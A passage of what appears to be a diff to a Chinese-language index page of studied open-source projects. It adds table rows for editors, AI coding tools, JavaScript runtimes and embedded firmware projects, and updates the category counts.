| [Atom — 已归档的 Web 编辑器先驱](/study/projects/atom/) | ✅ v3 | | +| [Cline — VS Code 自主编码代理](/study/projects/cline/) | ✅ v3 | | +| [code-server — 在浏览器里跑完整 VS Code](/study/projects/code-server/) | ✅ v3 | | +| [Coder — 自托管开发环境平台](/study/projects/coder/) | ✅ v3 | | | [Doom Emacs — 极简风 Emacs 配置框架](/study/projects/doom-emacs/) | ✅ v3 | | +| [Eclipse Che — Kubernetes 原生云 IDE](/study/projects/eclipse-che/) | ✅ v3 | | | [GNU Emacs — Lisp 自文档编辑器](/study/projects/emacs/) | ✅ v3 | | +| [Foam — VS Code 上的 Roam-like 知识库](/study/projects/foam/) | ✅ v3 | | | [Geany — GTK 轻量 IDE](/study/projects/geany/) | ✅ v3 | | +| [ghostwriter — Qt 干净 Markdown 写作器](/study/projects/ghostwriter/) | ✅ v3 | | +| [Gitpod — 预构建云开发环境](/study/projects/gitpod/) | ✅ v3 | | | [Helix — Rust 后现代模态编辑器,LSP 和 Tree-sitter 默认开机](/study/projects/helix/) | ✅ v3 | | +| [Joplin — 开源 Evernote 替代](/study/projects/joplin/) | ✅ v3 | | | [Kakoune — 多光标优先模态编辑器](/study/projects/kakoune/) | ✅ v3 | | | [Lapce — 把编辑器搬到 GPU 上的 Rust 实验](/study/projects/lapce/) | ✅ v3 | | | [LazyVim — lazy.nvim 驱动的 Neovim 发行版](/study/projects/lazyvim/) | ✅ v3 | | | [Lite XL — 用 Lua 驱动一切的极简文本编辑器](/study/projects/lite-xl/) | ✅ v3 | | +| [Logseq — 块结构离线知识库](/study/projects/logseq/) | ✅ v3 | | | [LunarVim — 一体化 Neovim IDE 层](/study/projects/lunarvim/) | ✅ v3 | | +| [MarkText — 实时预览 Markdown 编辑器](/study/projects/marktext/) | ✅ v3 | | | [micro — 终端里像 VS Code 一样顺手的纯 Go 编辑器](/study/projects/micro/) | ✅ v3 | | | [Neovim — Lua 可扩展 vim 现代分叉](/study/projects/neovim/) | ✅ v3 | | | [Notepad++ — Windows 国民文本编辑器](/study/projects/notepad-plus-plus/) | ✅ v3 | | | [NvChad — 极致美观的 Neovim 配置框架](/study/projects/nvchad/) | ✅ v3 | | +| [OpenCode — SST 出品的终端 AI IDE](/study/projects/opencode/) | ✅ v3 | | +| [OpenVSCode Server — VS Code Server 上游](/study/projects/openvscode-server/) | ✅ v3 | | +| [Roo Code — 多模式 VS Code AI 助手](/study/projects/roo-code/) | ✅ v3 | | +| [SilverBullet — 可编程的自托管 Markdown 知识库](/study/projects/silverbullet/) | ✅ v3 | | | [Spacemacs — Space 键统一 Vim 与 Emacs](/study/projects/spacemacs/) | ✅ v3 | | | [TextMate — macOS 经典编辑器,语法格式影响了所有人](/study/projects/textmate/) | ✅ v3 | | | [Eclipse Theia — 云原生 IDE 框架基座](/study/projects/theia/) | ✅ v3 | | | [Vim — 模态编辑器之父](/study/projects/vim/) | ✅ v3 | | +| [Void — 开源 Cursor 替代](/study/projects/void/) | ✅ v3 | | | [VS Code — 把编辑/调试/扩展捏成一个跨平台壳](/study/projects/vscode/) | ✅ v3 | | | [VSCodium — 去微软遥测的 VS Code 干净构建](/study/projects/vscodium/) | ✅ v3 | | | [xi-editor — Rope + CRDT 驱动的实验性编辑器](/study/projects/xi-editor/) | ✅ v3 | | | [Zed — Atom 团队 Rust 重写的 GPU 协作编辑器](/study/projects/zed/) | ✅ v3 | | +| [Zettlr — 学者向 Markdown 编辑器](/study/projects/zettlr/) | ✅ v3 | | ### 工具库 @@ -1037,7 +1076,7 @@ sidebar: ## 编译器 -共 14 个。 +共 17 个。 ### 构建工具 @@ -1055,10 +1094,13 @@ sidebar: | 项目 | 质量 | 描述 | |---|:---:|---| +| [boa-engine — 用 Rust 写出的可嵌入 JavaScript 引擎](/study/projects/boa-engine/) | ✅ v3 | | | [Bun — JS 全能运行时](/study/projects/bun/) | ✅ v3 | | | [Deno — 安全优先的 JS/TS 运行时](/study/projects/deno/) | ✅ v3 | | | [Node.js — 服务端 JS 运行时之父](/study/projects/node-js/) | ✅ v3 | V8 上的 JavaScript 服务端运行时,事件循环 + libuv | +| [Pyston — 给 CPython 装上「快车道」的 JIT 加速器](/study/projects/pyston/) | ✅ v3 | | | [QuickJS — 装进口袋的 JavaScript 引擎](/study/projects/quickjs/) | ✅ v3 | | +| [TinyGo — 把 Go 编译进微控制器和 WebAssembly 的「袖珍版编译器」](/study/projects/tinygo/) | ✅ v3 | | | [Wasmtime — Bytecode Alliance 标准 wasm runtime](/study/projects/wasmtime/) | ✅ v3 | Bytecode Alliance 的 WebAssembly 运行时,WASI 支持 | ### 其他子类 @@ -1153,9 +1195,19 @@ sidebar: | [D3.js — 不是图表库,是写图表库的乐高](/study/projects/d3/) | 🗄 存量 | | | [Apache ECharts — 给一个 JSON 就能画图的可视化库](/study/projects/echarts/) | ✅ v3 | | +## 其他 + +共 1 个。 + +### 其他子类 + +| 项目 | 质量 | 描述 | +|---|:---:|---| +| [browser-use — 用自然语言让 AI Agent 操控浏览器](/study/projects/browser-use/) | ✅ v3 | | + --- -## 全部 862 个(字母序) +## 全部 904 个(字母序) | Slug | 项目 | 质量 | 一级 | 子分类 | |---|---|:---:|---|---| @@ -1169,6 +1221,7 @@ sidebar: | `ag-grid` | [AG Grid — 企业级数据表格](/study/projects/ag-grid/) | ✅ v3 | 数据可视化 | 数据可视化 | | `age` | [age — 把"用 GPG 加密一个文件"重新做对](/study/projects/age/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `aichat` | [AIChat — 终端里的多模型 LLM 客户端](/study/projects/aichat/) | ✅ v3 | CLI | 命令行工具 | +| `aider` | [Aider — 终端 AI 结对编程 CLI](/study/projects/aider/) | ✅ v3 | CLI | 编辑器与 IDE | | `aiortc` | [aiortc — 让 Python 服务端像浏览器一样讲 WebRTC](/study/projects/aiortc/) | ✅ v3 | 通信 | 实时通信 | | `airflow` | [Apache Airflow — 用 Python 代码画工作流图,让调度器替你按图施工](/study/projects/airflow/) | ✅ v3 | 机器学习 | 数据科学与 AI | | `altair` | [Altair — Python 上的 Vega-Lite 绑定](/study/projects/altair/) | ✅ v3 | 数据可视化 | 数据可视化 | @@ -1184,6 +1237,7 @@ sidebar: | `antv-g2` | [AntV G2 — 把 Grammar of Graphics 写成 JavaScript](/study/projects/antv-g2/) | ✅ v3 | 数据可视化 | 数据可视化 | | `antv-g6` | [AntV G6 — 把"关系数据"画成会自己摆位置的图](/study/projects/antv-g6/) | ✅ v3 | 数据可视化 | 数据可视化 | | `antv-x6` | [AntV X6 — 把 mxGraph 的图编辑思路搬到 TypeScript](/study/projects/antv-x6/) | ✅ v3 | 数据可视化 | 数据可视化 | +| `anytype-ts` | [Anytype — 本地优先块编辑器](/study/projects/anytype-ts/) | ✅ v3 | CLI | 编辑器与 IDE | | `ape-framework` | [Ape Framework — Python 智能合约开发一条龙](/study/projects/ape-framework/) | ✅ v3 | 区块链 | 链与合约 | | `apexcharts` | [ApexCharts — 自带响应式与注解的 SVG 图表库](/study/projects/apexcharts/) | ✅ v3 | 数据可视化 | 数据可视化 | | `apollo-server` | [Apollo Server — Node 端 GraphQL 服务端的事实标准](/study/projects/apollo-server/) | ✅ v3 | 后端 API | Web 后端 | @@ -1236,13 +1290,14 @@ sidebar: | `billboard-js` | [billboard.js — c3.js 的 TypeScript 继任者](/study/projects/billboard-js/) | ✅ v3 | 数据可视化 | 数据可视化 | | `biome` | [Biome — JS/TS 工具链一体化(Rust 写的 linter+formatter)](/study/projects/biome/) | ✅ v3 | 后端 API | 前端工具链 | | `bitcoin-core` | [Bitcoin Core — 比特币参考实现](/study/projects/bitcoin-core/) | ✅ v3 | 区块链 | 链与合约 | +| `boa-engine` | [boa-engine — 用 Rust 写出的可嵌入 JavaScript 引擎](/study/projects/boa-engine/) | ✅ v3 | 编译器 | 语言运行时 | | `bokeh` | [Bokeh — 浏览器端交互式 Python 图,可挂 Server 做实时数据流](/study/projects/bokeh/) | ✅ v3 | 数据可视化 | 数据可视化 | | `botbuilder-js` | [Bot Framework SDK JS — 微软多渠道 chatbot 的 Adapter + Middleware 抽象](/study/projects/botbuilder-js/) | ✅ v3 | 通信 | 实时通信 | | `botpress` | [Botpress — 把对话画成流程图加 LLM 节点的开源 chatbot 平台](/study/projects/botpress/) | ✅ v3 | 通信 | 实时通信 | | `bottom` | [bottom — Rust 写的跨平台终端进程监控(widget 自由拼)](/study/projects/bottom/) | ✅ v3 | CLI | 命令行工具 | | `boxen` | [boxen — 给终端文本套个边框的事](/study/projects/boxen/) | 🗄 存量 | CLI | 工具库 | | `broot` | [broot — 把 tree 命令升级成会过滤、能 cd、显大小、看 git 的交互树](/study/projects/broot/) | ✅ v3 | CLI | 命令行工具 | -| `browser-use` | [browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架](/study/projects/browser-use/) | ✅ v3 | 机器学习 | AI agent infra | +| `browser-use` | [browser-use — 用自然语言让 AI Agent 操控浏览器](/study/projects/browser-use/) | ✅ v3 | 其他 | AI与自动化 | | `btop` | [btop — bashtop 三代 C++ 版,五面板一屏的彩色资源监控器](/study/projects/btop/) | ✅ v3 | CLI | 命令行工具 | | `bubbletea` | [Bubble Tea — 用 Elm 架构写终端 UI 的 Go 框架](/study/projects/bubbletea/) | ✅ v3 | CLI | 命令行工具 | | `buildah` | [Buildah — 不要守护进程,每次构建都是一个 fork 出来的小工](/study/projects/buildah/) | ✅ v3 | 基础设施 | DevOps 与运维 | @@ -1282,10 +1337,14 @@ sidebar: | `clearml` | [ClearML — 自托管 MLOps 套件](/study/projects/clearml/) | ✅ v3 | 机器学习 | 数据科学与 AI | | `clerk` | [Clerk — 把登录注册组织 MFA 整套外包给云的 SaaS 认证 SDK](/study/projects/clerk/) | ✅ v3 | 后端 API | 框架与 SDK | | `clickhouse` | [ClickHouse — 列式 OLAP 数据库](/study/projects/clickhouse/) | ✅ v3 | 数据库 | 存储与查询 | +| `cline` | [Cline — VS Code 自主编码代理](/study/projects/cline/) | ✅ v3 | CLI | 编辑器与 IDE | +| `cmsis-nn` | [CMSIS-NN — Cortex-M 上的「神经网络专用工具箱」](/study/projects/cmsis-nn/) | ✅ v3 | 操作系统 | 嵌入式 | | `cockroach` | [CockroachDB — 全球分布式 SQL](/study/projects/cockroach/) | ✅ v3 | 数据库 | 存储与查询 | | `cockroachdb` | [CockroachDB — 分布式 SQL 数据库](/study/projects/cockroachdb/) | ✅ v3 | 分布式系统 | 数据库 / 分布式 | | `cocos2d-x` | [Cocos2d-x — 一份 C++ 代码把 2D 手游跑遍 iOS / Android](/study/projects/cocos2d-x/) | ✅ v3 | 图形学 | 渲染与图形 | +| `code-server` | [code-server — 在浏览器里跑完整 VS Code](/study/projects/code-server/) | ✅ v3 | CLI | 编辑器与 IDE | | `codemirror` | [CodeMirror — 编辑器不是一个类,是一组扩展的合奏](/study/projects/codemirror/) | ✅ v3 | 后端 API | 前端 | +| `coder` | [Coder — 自托管开发环境平台](/study/projects/coder/) | ✅ v3 | CLI | 编辑器与 IDE | | `collabora-online` | [Collabora Online — 浏览器里直接编辑 Office 文档的开源后端](/study/projects/collabora-online/) | ✅ v3 | 通信 | 实时通信 | | `colmap` | [COLMAP — 多视图 SfM/MVS 重建](/study/projects/colmap/) | ✅ v3 | 通信 | 音视频媒体 | | `colossal-ai` | [Colossal-AI — 大模型训练系统](/study/projects/colossal-ai/) | ✅ v3 | 机器学习 | 数据科学与 AI | @@ -1349,6 +1408,7 @@ sidebar: | `dragonfly` | [Dragonfly — 多线程 Redis 替代](/study/projects/dragonfly/) | ✅ v3 | 数据库 | 存储与查询 | | `drawio` | [drawio (diagrams.net) — 离线版 Visio](/study/projects/drawio/) | ✅ v3 | 数据可视化 | 数据可视化 | | `drizzle` | [Drizzle ORM — 轻量 SQL-like ORM](/study/projects/drizzle/) | ✅ v3 | 数据库 | ORM | +| `drizzle-orm` | [drizzle-orm](/study/projects/drizzle-orm/) | ✅ v3 | 后端 API | Web 后端 | | `drone` | [Drone CI — 容器原生的 YAML 流水线](/study/projects/drone/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `dropwizard` | [Dropwizard — Java 微服务的"开箱即用 12-factor 起步包"](/study/projects/dropwizard/) | ✅ v3 | 后端 API | Web 后端 | | `druid` | [Apache Druid — 流批一体的实时分析数据库](/study/projects/druid/) | ✅ v3 | 数据库 | 存储与查询 | @@ -1362,6 +1422,7 @@ sidebar: | `earthly` | [Earthly — 把 Make 和 Dockerfile 揉一起的构建工具](/study/projects/earthly/) | ✅ v3 | CLI | 命令行工具 | | `echarts` | [Apache ECharts — 给一个 JSON 就能画图的可视化库](/study/projects/echarts/) | ✅ v3 | 数据可视化 | projects / 数据可视化 | | `echo` | [Echo — 极简高性能 Go 框架,5 行起服务](/study/projects/echo/) | ✅ v3 | 后端 API | Web 后端 | +| `eclipse-che` | [Eclipse Che — Kubernetes 原生云 IDE](/study/projects/eclipse-che/) | ✅ v3 | CLI | 编辑器与 IDE | | `edgedb` | [EdgeDB / Gel — 在 Postgres 上长出图风查询语言,让类型系统替你做 ORM](/study/projects/edgedb/) | ✅ v3 | 数据库 | 存储与查询 | | `effect` | [Effect — 给 TypeScript 装上"会跟踪错误和依赖"的副作用引擎](/study/projects/effect/) | ✅ v3 | 编译器 | TypeScript 运行时 | | `ejabberd` | [ejabberd — Erlang 写的电信级 XMPP/MQTT 多协议服务器](/study/projects/ejabberd/) | ✅ v3 | 通信 | 实时通信 | @@ -1383,6 +1444,7 @@ sidebar: | `erigon` | [Erigon — 存储优化型以太坊客户端](/study/projects/erigon/) | ✅ v3 | 区块链 | 链与合约 | | `errbot` | [Errbot — 用 Python 类写一个能进 Slack/Discord 的聊天机器人](/study/projects/errbot/) | ✅ v3 | 通信 | 实时通信 | | `esbuild` | [esbuild — 用 Go 写的极速 JS bundler](/study/projects/esbuild/) | ✅ v3 | 编译器 | 构建工具 | +| `esp-dl` | [ESP-DL — 乐鑫芯片上的「袖珍 AI 放映机」](/study/projects/esp-dl/) | ✅ v3 | 操作系统 | 嵌入式 | | `essentia` | [Essentia — 音乐信息检索工具箱](/study/projects/essentia/) | ✅ v3 | 通信 | 音视频媒体 | | `etcd` | [etcd — 分布式键值数据库](/study/projects/etcd/) | ✅ v3 | 数据库 | 存储与查询 | | `ethers-js` | [ethers.js — 浏览器和 Node 都能用的以太坊客户端库](/study/projects/ethers-js/) | ✅ v3 | 区块链 | 链与合约 | @@ -1408,6 +1470,7 @@ sidebar: | `fish` | [fish — 装好就比 bash 加插件好用的交互 shell](/study/projects/fish/) | ✅ v3 | CLI | 命令行工具 | | `fish-shell` | [fish-shell — 友好交互式命令行 Shell](/study/projects/fish-shell/) | ✅ v3 | CLI | Shell | | `flac` | [FLAC — 无损音频压缩格式与参考实现](/study/projects/flac/) | ✅ v3 | 通信 | 音视频媒体 | +| `flame` | [Flame — Flutter 上的 2D 游戏引擎](/study/projects/flame/) | ✅ v3 | 后端 API | 移动端 | | `flask` | [Flask — 用装饰器把 URL 接到函数上的 Python 微框架](/study/projects/flask/) | 🗄 存量 | 后端 API | Web 后端 | | `flax` | [Flax — JAX 上的神经网络库](/study/projects/flax/) | ✅ v3 | 机器学习 | 数据科学与 AI | | `flowchart-js` | [flowchart.js — 文本生成流程图](/study/projects/flowchart-js/) | ✅ v3 | 数据可视化 | 数据可视化 | @@ -1415,6 +1478,7 @@ sidebar: | `flutter` | [Flutter — Google 自绘像素的跨平台 UI 框架](/study/projects/flutter/) | ✅ v3 | 后端 API | 移动端 | | `flutter-rust-bridge` | [flutter-rust-bridge — Dart 调 Rust 像调本地函数](/study/projects/flutter-rust-bridge/) | ✅ v3 | 后端 API | 移动端 | | `flux` | [Flux — 让 Git 当 Kubernetes 集群的真理来源](/study/projects/flux/) | ✅ v3 | 基础设施 | DevOps 与运维 | +| `foam` | [Foam — VS Code 上的 Roam-like 知识库](/study/projects/foam/) | ✅ v3 | CLI | 编辑器与 IDE | | `fooocus` | [Fooocus — 把 SDXL 做成傻瓜机](/study/projects/fooocus/) | ✅ v3 | 机器学习 | 数据科学与 AI | | `foundry` | [Foundry — Paradigm 出品的 Rust 合约工具链](/study/projects/foundry/) | ✅ v3 | 区块链 | 链与合约 | | `framer-motion` | [Framer Motion — React 声明式动画](/study/projects/framer-motion/) | ✅ v3 | 数据可视化 | 动画 | @@ -1424,11 +1488,14 @@ sidebar: | `freeswitch` | [FreeSWITCH — 多线程软交换内核,给电话/视频会议当骨架](/study/projects/freeswitch/) | ✅ v3 | 通信 | 实时通信 | | `fx` | [fx — JSON 的交互式查看器(jq 的 TUI 表亲)](/study/projects/fx/) | ✅ v3 | CLI | 命令行工具 | | `fzf` | [fzf — 命令行模糊查找](/study/projects/fzf/) | ✅ v3 | CLI | 命令行工具 | +| `gazebo-classic` | [Gazebo Classic — 机器人仿真零基础入门](/study/projects/gazebo-classic/) | ✅ v3 | 操作系统 | 嵌入式 | | `gdu` | [gdu — Go 写的并发 du 替代,单二进制扔到服务器扫满盘几秒钟出 TUI](/study/projects/gdu/) | ✅ v3 | CLI | 命令行工具 | | `geany` | [Geany — GTK 轻量 IDE](/study/projects/geany/) | ✅ v3 | CLI | 编辑器与 IDE | | `gh` | [gh — GitHub 官方命令行](/study/projects/gh/) | ✅ v3 | CLI | 命令行工具 | +| `ghostwriter` | [ghostwriter — Qt 干净 Markdown 写作器](/study/projects/ghostwriter/) | ✅ v3 | CLI | 编辑器与 IDE | | `gin` | [Gin — Go 写 web API 的事实标准框架](/study/projects/gin/) | ✅ v3 | 后端 API | Web 后端 | | `github-actions` | [GitHub Actions — 仓库自带的 CI/CD 流水线](/study/projects/github-actions/) | ✅ v3 | 基础设施 | DevOps / CI-CD | +| `gitpod` | [Gitpod — 预构建云开发环境](/study/projects/gitpod/) | ✅ v3 | CLI | 编辑器与 IDE | | `gitui` | [gitui — Rust 写的 git TUI,libgit2 直连让启动比 lazygit 快一个量级](/study/projects/gitui/) | ✅ v3 | CLI | 命令行工具 | | `glab` | [glab — GitLab 官方命令行](/study/projects/glab/) | ✅ v3 | CLI | 命令行工具 | | `glances` | [Glances — Python 写的全栈系统监控(终端 + Web + REST + 远程)](/study/projects/glances/) | ✅ v3 | CLI | 命令行工具 | @@ -1443,6 +1510,7 @@ sidebar: | `grape` | [Grape — 用 Ruby DSL 专写 REST API 的轻量框架](/study/projects/grape/) | ✅ v3 | 后端 API | Web 后端 | | `graphology` | [Graphology — 浏览器里的图数据结构与算法库](/study/projects/graphology/) | ✅ v3 | 数据可视化 | 数据可视化 | | `graphql-yoga` | [GraphQL Yoga — 跨运行时的轻量 GraphQL 服务器](/study/projects/graphql-yoga/) | ✅ v3 | 后端 API | Web 后端 | +| `grbl` | [Grbl — 让 Arduino 听懂 G-code 的 CNC「翻译官」](/study/projects/grbl/) | ✅ v3 | 操作系统 | 嵌入式 | | `greenplum-db` | [Greenplum — Postgres 改的 MPP 数仓](/study/projects/greenplum-db/) | ✅ v3 | 数据库 | 存储与查询 | | `gron` | [gron — 把 JSON 拍平成 grep 能吃的赋值行](/study/projects/gron/) | ✅ v3 | CLI | 命令行工具 | | `grpc-go` | [gRPC-Go — Google RPC 框架的官方 Go 实现](/study/projects/grpc-go/) | ✅ v3 | 后端 API | Web 后端 | @@ -1494,6 +1562,7 @@ sidebar: | `jimp` | [jimp — 哪都能跑的纯 JS 图像处理库](/study/projects/jimp/) | ✅ v3 | CLI | 工具库 | | `jitsi-meet` | [Jitsi Meet — 开源视频会议](/study/projects/jitsi-meet/) | ✅ v3 | 通信 | 音视频媒体 | | `jitsi-videobridge` | [Jitsi Videobridge — 只读 RTP 包头的 WebRTC 视频转发器](/study/projects/jitsi-videobridge/) | ✅ v3 | 通信 | 实时通信 | +| `joplin` | [Joplin — 开源 Evernote 替代](/study/projects/joplin/) | ✅ v3 | CLI | 编辑器与 IDE | | `jotai` | [Jotai — 原子化 React 状态管理](/study/projects/jotai/) | ✅ v3 | 后端 API | 状态管理 | | `jq` | [jq — JSON 的 sed/awk](/study/projects/jq/) | ✅ v3 | CLI | 命令行工具 | | `js-joda` | [js-joda — 把 Java 的 java.time 整套搬进 JS](/study/projects/js-joda/) | ✅ v3 | 后端 API | projects | @@ -1511,6 +1580,7 @@ sidebar: | `keras` | [Keras 3 — 一份模型代码跑三套后端](/study/projects/keras/) | ✅ v3 | 机器学习 | 数据科学与 AI | | `kind` | [kind — 用 Docker 容器当 K8s 节点的本地集群](/study/projects/kind/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `kitty` | [kitty — GPU 加速终端,把分屏和图片协议焊在一个二进制里](/study/projects/kitty/) | ✅ v3 | CLI | 命令行工具 | +| `klipper` | [Klipper — 把 3D 打印机的「大脑」和「手脚」拆开的固件架构](/study/projects/klipper/) | ✅ v3 | 操作系统 | 嵌入式 | | `koa` | [Koa — async/await + ctx 对象 + 洋葱模型 的极简 Node.js web 框架](/study/projects/koa/) | ✅ v3 | CLI | 工具库 | | `kong` | [Kong — 基于 nginx + Lua 的云原生 API 网关](/study/projects/kong/) | ✅ v3 | 后端 API | Web 后端 | | `konva` | [Konva — 给 HTML5 Canvas 装一棵会响应的节点树](/study/projects/konva/) | ✅ v3 | 后端 API | 前端图形 / Canvas 2D | @@ -1553,6 +1623,7 @@ sidebar: | `lima` | [Lima — macOS 上跑 Linux 虚拟机的轻量 CLI](/study/projects/lima/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `lingui` | [Lingui — 写自然字符串,编译期自动提取 i18n msgid](/study/projects/lingui/) | ✅ v3 | 后端 API | projects / 前端国际化 | | `linkerd2` | [Linkerd 2 — 用 Rust 写的轻量服务网格](/study/projects/linkerd2/) | ✅ v3 | 基础设施 | DevOps 与运维 | +| `linuxcnc` | [LinuxCNC — 在 Linux 上跑完整 CNC「机床操作系统」](/study/projects/linuxcnc/) | ✅ v3 | 操作系统 | 嵌入式 | | `listr2` | [listr2 — 把 CLI 任务跑成一棵会自己画进度的树](/study/projects/listr2/) | ✅ v3 | CLI | 工具库 | | `lite-xl` | [Lite XL — 用 Lua 驱动一切的极简文本编辑器](/study/projects/lite-xl/) | ✅ v3 | CLI | 编辑器与 IDE | | `litellm-proxy` | [LiteLLM Proxy — 自托管的 LLM 统一网关](/study/projects/litellm-proxy/) | ✅ v3 | 机器学习 | ai-eng | @@ -1571,8 +1642,10 @@ sidebar: | `lmms-eval` | [LMMs-Eval — 多模态大模型统一评测框架](/study/projects/lmms-eval/) | ✅ v3 | 机器学习 | 视频理解 | | `locust` | [Locust — 用 Python 写压测脚本的分布式负载工具](/study/projects/locust/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `lodestar` | [Lodestar — ChainSafe 的 TypeScript 以太坊共识层客户端](/study/projects/lodestar/) | ✅ v3 | 区块链 | 链与合约 | +| `logseq` | [Logseq — 块结构离线知识库](/study/projects/logseq/) | ✅ v3 | CLI | 编辑器与 IDE | | `loki` | [Loki — 给日志做 Prometheus,只索引标签不索引内容](/study/projects/loki/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `longhorn` | [Longhorn — K8s 原生的轻量分布式块存储](/study/projects/longhorn/) | ✅ v3 | 基础设施 | DevOps 与运维 | +| `lora-mac-node` | [LoRaMac-node — LoRaWAN 终端协议栈参考实现零基础学习笔记](/study/projects/lora-mac-node/) | ✅ v3 | 操作系统 | 嵌入式 | | `lottie` | [lottie-web — 把设计师的 AE 工程变成跨端可渲染 JSON 的播放器](/study/projects/lottie/) | ⭐ Season | 数据可视化 | 动画 | | `love2d` | [LÖVE — Lua 2D 游戏框架](/study/projects/love2d/) | ✅ v3 | 图形学 | 渲染与图形 | | `lsd` | [lsd — 现代 ls 替代(LSDeluxe,主题化 + 图标,不押 git)](/study/projects/lsd/) | ✅ v3 | CLI | 命令行工具 | @@ -1590,6 +1663,8 @@ sidebar: | `mariadb-server` | [mariadb-server — MySQL 原作者带走的那一支](/study/projects/mariadb-server/) | ✅ v3 | 数据库 | 存储与查询 | | `markdown-it` | [markdown-it — 把 Markdown 文本变成 HTML 的工业级解析器](/study/projects/markdown-it/) | ✅ v3 | 后端 API | projects / 前端工具链 | | `marked` | [marked — 用一堆正则把 markdown 变成 HTML 的轻量解析器](/study/projects/marked/) | ✅ v3 | 后端 API | projects | +| `marktext` | [MarkText — 实时预览 Markdown 编辑器](/study/projects/marktext/) | ✅ v3 | CLI | 编辑器与 IDE | +| `marlin` | [Marlin Firmware — 3D 打印机的「一体式管家固件」](/study/projects/marlin/) | ✅ v3 | 操作系统 | 嵌入式 | | `matplotlib` | [matplotlib — Python 绘图基石](/study/projects/matplotlib/) | ✅ v3 | 数据可视化 | 数据可视化 | | `matrix-js-sdk` | [matrix-js-sdk — Matrix Web/Node 端的"老大哥"客户端 SDK](/study/projects/matrix-js-sdk/) | ✅ v3 | 通信 | 实时通信 | | `matrix-rust-sdk` | [matrix-rust-sdk — Matrix 客户端的"共享发动机"](/study/projects/matrix-rust-sdk/) | ✅ v3 | 通信 | 实时通信 | @@ -1631,18 +1706,23 @@ sidebar: | `monero` | [Monero — 默认隐私的 PoW 加密货币](/study/projects/monero/) | ✅ v3 | 区块链 | 链与合约 | | `mongo` | [MongoDB — 文档数据库服务端开源实现](/study/projects/mongo/) | ✅ v3 | 数据库 | 存储与查询 | | `mongodb` | [MongoDB — 文档型 NoSQL 数据库](/study/projects/mongodb/) | ✅ v3 | 数据库 | 数据库 / NoSQL | +| `mosquitto` | [Eclipse Mosquitto — 轻量级 MQTT 消息代理,物联网的「社区广播站」](/study/projects/mosquitto/) | ✅ v3 | 操作系统 | 嵌入式 | | `motion-one` | [Motion One — 把动画交给浏览器自己跑](/study/projects/motion-one/) | ✅ v3 | 后端 API | projects / 前端动画 | | `move-language` | [Move — 资源型智能合约语言](/study/projects/move-language/) | ✅ v3 | 区块链 | 链与合约 | +| `moveit2` | [MoveIt 2 — 机械臂运动规划零基础入门](/study/projects/moveit2/) | ✅ v3 | 操作系统 | 嵌入式 | | `msw` | [MSW — 让 mock 不改业务代码,在网络层透明拦截](/study/projects/msw/) | ✅ v3 | 后端 API | projects / 测试工具 | | `mumble` | [Mumble — 游戏圈用了 20 年的低延迟开源语音](/study/projects/mumble/) | ✅ v3 | 通信 | 实时通信 | | `mysql` | [MySQL — 全球最流行关系数据库](/study/projects/mysql/) | ✅ v3 | 数据库 | 数据库 | | `mysql-server` | [mysql-server — 一个仓库装下整套 OLTP 引擎](/study/projects/mysql-server/) | ✅ v3 | 数据库 | 存储与查询 | | `nanobrowser` | [nanobrowser — 把 Chrome 扩展本身当成 AI agent 的运行沙箱](/study/projects/nanobrowser/) | ✅ v3 | 机器学习 | AI agent | +| `nanomq` | [NanoMQ — 面向 IoT 边缘的超轻量 MQTT Broker](/study/projects/nanomq/) | ✅ v3 | 操作系统 | 嵌入式 | | `nanostores` | [nanostores — 不到 1 KB 的"框架无关"状态库](/study/projects/nanostores/) | ✅ v3 | 后端 API | projects / 前端 | | `nativescript` | [NativeScript — JS/TS 直接调原生 API,无 WebView](/study/projects/nativescript/) | ✅ v3 | 后端 API | 移动端 | | `nats` | [NATS — 极简云原生消息系统](/study/projects/nats/) | ✅ v3 | 分布式系统 | 消息队列 | | `nats-server` | [NATS Server — 极简云原生消息中间件](/study/projects/nats-server/) | ✅ v3 | 数据库 | 存储与查询 | +| `navigation2` | [Navigation2 (Nav2) — 移动机器人导航零基础入门](/study/projects/navigation2/) | ✅ v3 | 操作系统 | 嵌入式 | | `ncdu` | [ncdu — du 的交互式 TUI,扫一次就能在终端里上下键钻目录删大文件](/study/projects/ncdu/) | ✅ v3 | CLI | 命令行工具 | +| `ncnn` | [ncnn — 手机上的「无依赖神经网络放映机」](/study/projects/ncnn/) | ✅ v3 | 操作系统 | 嵌入式 | | `nebula` | [NebulaGraph — 国产分布式图数据库](/study/projects/nebula/) | ✅ v3 | 数据库 | 存储与查询 | | `neo4j` | [Neo4j — 主流图数据库](/study/projects/neo4j/) | ✅ v3 | 数据库 | 存储与查询 | | `neovim` | [Neovim — Lua 可扩展 vim 现代分叉](/study/projects/neovim/) | ✅ v3 | CLI | 编辑器与 IDE | @@ -1683,6 +1763,7 @@ sidebar: | `ollama` | [Ollama — 本地跑 LLM 的工具](/study/projects/ollama/) | ✅ v3 | 机器学习 | 模型与训练 | | `open-sora` | [Open-Sora — 把 Sora 黑盒一比一开源的视频生成项目](/study/projects/open-sora/) | ✅ v3 | 机器学习 | 数据科学与 AI | | `openai-agents-sdk` | [OpenAI Agents SDK — 让多个 agent 协作的轻量框架](/study/projects/openai-agents-sdk/) | ✅ v3 | 机器学习 | AI 工程 | +| `opencode` | [OpenCode — SST 出品的终端 AI IDE](/study/projects/opencode/) | ✅ v3 | CLI | 编辑器与 IDE | | `opencv` | [OpenCV — 开源计算机视觉库与跨平台图像视频处理](/study/projects/opencv/) | ✅ v3 | 通信 | 音视频媒体 | | `openlayers` | [OpenLayers — 全功能 GIS 前端](/study/projects/openlayers/) | ✅ v3 | 数据可视化 | 数据可视化 | | `openmeetings` | [Apache OpenMeetings — 单 Java 进程跑完整 Web 会议系统](/study/projects/openmeetings/) | ✅ v3 | 通信 | 实时通信 | @@ -1695,6 +1776,7 @@ sidebar: | `opentofu` | [OpenTofu — 社区接手的 Terraform](/study/projects/opentofu/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `opentsdb` | [OpenTSDB — HBase 上的第一代分布式 TSDB](/study/projects/opentsdb/) | ✅ v3 | 数据库 | 存储与查询 | | `openvidu` | [OpenVidu — 把 Kurento 包成开箱即用的视频会议 PaaS](/study/projects/openvidu/) | ✅ v3 | 通信 | 实时通信 | +| `openvscode-server` | [OpenVSCode Server — VS Code Server 